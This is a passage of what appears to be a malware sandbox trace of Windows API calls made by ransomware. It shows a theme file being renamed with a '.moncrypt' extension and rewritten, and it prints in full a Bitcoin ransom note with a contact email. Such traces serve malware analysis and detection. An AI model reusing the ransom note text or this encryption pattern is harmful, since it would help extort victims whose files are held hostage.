lpUsedDefaultChar=0x0) returned 1 [0052.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.412] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpUsedDefaultChar=0x0) returned 75 [0052.412] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\NETWORK\\NETWORK.INF", lpUsedDefaultChar=0x0) returned 4 [0052.412] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.412] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.412] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.412] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.412] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.412] GlobalUnlock (hMem=0x44000c) returned 0 [0052.412] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.412] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.412] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.412] GlobalUnlock (hMem=0x44000c) returned 0 [0052.412] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.412] GlobalUnlock (hMem=0x440004) returned 0 [0052.412] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.413] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 75 [0052.413] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0052.413] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\NETWORK\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0052.414] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.414] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.414] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.414] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.414] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.414] GlobalUnlock (hMem=0x440004) returned 0 [0052.414] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.414] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.414] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.414] GlobalUnlock (hMem=0x440004) returned 0 [0052.414] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.414] GlobalUnlock (hMem=0x44000c) returned 0 [0052.414] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.414] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 76 [0052.415] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\NETWORK\\THMBNAIL.PNGp", lpUsedDefaultChar=0x0) returned 4 [0052.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.415] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.415] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.415] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.moncrypt")) returned 1 [0052.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.417] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.417] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x2d35 [0052.417] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.417] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2d35, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x2d35, lpOverlapped=0x0) returned 1 [0052.419] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.419] GlobalLock (hMem=0x440004) returned 0x559b88 [0052.419] GlobalHandle (pMem=0x559b88) returned 0x440004 [0052.419] GlobalUnlock (hMem=0x440004) returned 0 [0052.419] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.419] GlobalLock (hMem=0x440004) returned 0x559b88 [0052.419] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.419] GlobalUnlock (hMem=0x44000c) returned 0 [0052.419] GlobalHandle (pMem=0x559b88) returned 0x440004 [0052.419] GlobalUnlock (hMem=0x440004) returned 0 [0052.419] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.419] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.419] GlobalUnlock (hMem=0x440004) returned 0 [0052.419] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.419] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.419] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.419] GlobalUnlock (hMem=0x440004) returned 0 [0052.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.432] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.432] CloseHandle (hObject=0x18c) returned 1 [0052.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.432] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.432] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.432] GlobalUnlock (hMem=0x440004) returned 0 [0052.432] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.432] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.432] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.432] GlobalUnlock (hMem=0x440004) returned 0 [0052.432] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.433] GlobalUnlock (hMem=0x44000c) returned 0 [0052.433] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.433] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406da320, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x406da320, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x406da320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.433] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.433] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.433] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.433] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.433] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.433] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.433] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.433] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.433] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.433] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.434] CloseHandle (hObject=0x18c) returned 1 [0052.434] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.434] GetLastError () returned 0x12 [0052.434] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.434] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.434] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.434] GlobalUnlock (hMem=0x44000c) returned 0 [0052.434] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.434] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.434] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.434] GlobalUnlock (hMem=0x44000c) returned 0 [0052.434] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.434] GlobalUnlock (hMem=0x440004) returned 0 [0052.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x406da320, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x406da320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.435] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.435] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.435] GlobalLock (hMem=0x440004) returned 0x550170 [0052.435] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.435] GlobalUnlock (hMem=0x440004) returned 0 [0052.435] GlobalLock (hMem=0x440004) returned 0x550170 [0052.435] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.435] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.435] GlobalUnlock (hMem=0x440004) returned 0 [0052.435] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.435] GlobalUnlock (hMem=0x44000c) returned 0 [0052.435] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.435] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x406da320, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x406da320, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.435] 